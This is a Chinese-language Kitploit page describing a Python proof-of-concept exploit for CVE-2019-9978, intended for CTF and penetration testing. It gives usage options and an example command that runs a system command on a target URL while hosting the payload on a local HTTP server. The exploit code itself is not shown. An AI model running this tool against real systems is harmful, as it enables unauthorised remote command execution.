cve-2019-9978 — cve-2019-9978 概念验证 | Kitploit

cve-2019-9978

本脚本能够以简单直接的方式利用 CVE-2019-9978 漏洞，适用于 Capture The Flag (CTF) 挑战或作为渗透测试的概念验证。

前置条件

Python 3
Requests 库（使用 pip install requests 安装）

使用方法

克隆或下载本仓库。
打开终端并进入脚本所在目录。
使用以下选项运行脚本：

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` 或 `--url`：设置用于发送有效载荷的目标 URL。
   - `-c` 或 `--command`：设置要在目标系统上执行的系统命令。
   - `-l` 或 `--local`：设置用于 HTTP 服务器的 IP 和端口（可选）。

脚本启动 HTTP 服务器，将有效载荷发送到目标，并在终端中显示结果。

示例

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

免责声明

此代码仅用于教育和测试目的。未经适当授权在系统上使用是非法且不道德的。请负责任地使用。